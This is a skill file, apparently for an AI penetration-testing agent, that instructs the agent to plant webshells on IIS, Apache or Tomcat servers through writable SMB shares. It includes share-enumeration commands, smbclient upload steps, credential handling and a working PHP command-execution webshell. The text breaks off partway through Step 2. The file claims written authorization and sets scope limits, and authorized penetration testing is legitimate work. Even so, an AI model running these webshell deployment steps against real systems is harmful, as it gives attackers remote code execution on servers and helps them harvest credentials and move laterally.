/smb-share-webshell

name: smb-share-webshell
description: >
  Deploy webshells to IIS, Apache, or Tomcat web roots via SMB share write
  access. Use when a domain user has write access to a file share that maps
  to a web server's document root — write a webshell via smbclient/net use,
  then trigger it via HTTP for RCE. Covers PHP, ASPX, and JSP webshells,
  .NET impersonation for same-host lateral movement, and internal site
  discovery.
keywords:
  - smb webshell
  - smb share write
  - web root share
  - smbclient upload
  - write to web share
  - IIS webshell
  - ASPX webshell
  - PHP webshell
  - JSP webshell
  - share to RCE
  - net use webshell
  - webshell deployment
  - smb write rce
  - web share exploit
tools:
  - smbclient
  - netexec
  - curl
opsec: medium

SMB Share Webshell Deployment

You are helping a penetration tester deploy webshells to web server document roots via SMB share write access. The target has a file share that maps to a web-accessible directory (IIS, Apache, XAMPP, Tomcat). The goal is to write a webshell via SMB and trigger it via HTTP for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[smb-share-webshell] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `smb-webshell-rce.txt`).

Scope Boundary

This skill covers writing webshells via SMB and achieving initial code execution through them. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Tool Requirements (Local-Only)

**NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it.

If a tool required by this skill is not installed: 1. **STOP immediately** — do not attempt workarounds or alternative tools 2. Return to the orchestrator with: which tool is missing, what it's needed for, and the install command for the operator

**Check if a tool exists before reporting it missing:**

which <tool> 2>/dev/null || find /opt /usr/share /usr/local ~/.local/bin \ -name '<tool>' -type f 2>/dev/null | head -3

Tools provided via MCP (nmap, shell-server commands) and tools inside the red-run Docker containers (evil-winrm, impacket, Responder, etc.) are always available — do not check for these.

Prerequisites

• Valid domain credentials for a user with **write access** to an SMB share

that maps to a web server document root

• The web server must be reachable via HTTP/HTTPS to trigger the webshell
• Knowledge of the web server technology (IIS → ASPX, Apache/XAMPP → PHP,

Tomcat → JSP)

Special characters in credentials

Bash history expansion treats `!` as a special character. Passwords containing `!`, `$`, backticks, or other shell metacharacters will be silently mangled.

**Canonical workaround** — write to file, read from file:

# Use the Write tool to create a password file
Write("/tmp/claude-1000/cred.txt", "P@ssw0rd!")

# Read into variable
PASS=$(cat /tmp/claude-1000/cred.txt)

# Use in smbclient
smbclient "//TARGET/ShareName" -U 'DOMAIN\user' --password="$PASS"

Step 1: Assess — Identify Writable Web Shares

If the orchestrator has already identified the writable share and web technology, skip to Step 2.

List shares and check access

# List shares with authentication
nxc smb TARGET -u 'user' -p 'password' -d DOMAIN --shares

# Look for shares named: Web, wwwroot, inetpub, htdocs, webroot, www, html
# READ,WRITE access = potential web root

Confirm share maps to web root

# Connect and look for web files
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c 'ls'

# Look for: index.php, index.html, web.config, .htaccess, default.aspx
# Subdirectories matching vhosts (e.g., app.example.com/)

Identify web technology

| Files Found | Technology | Webshell Type | |-------------|-----------|---------------| | `.php`, `index.php`, `.htaccess` | Apache/PHP or XAMPP | PHP | | `web.config`, `.aspx`, `.asp` | IIS/ASP.NET | ASPX | | `.jsp`, `.war`, `WEB-INF/` | Tomcat/Java | JSP | | `index.html` only | Static — check for server-side engine | Try all |

Step 2: Write Webshell via SMB

PHP webshell

# Minimal PHP command shell
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/claude-1000/shell.php

# Upload via smbclient
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
  'put /tmp/cl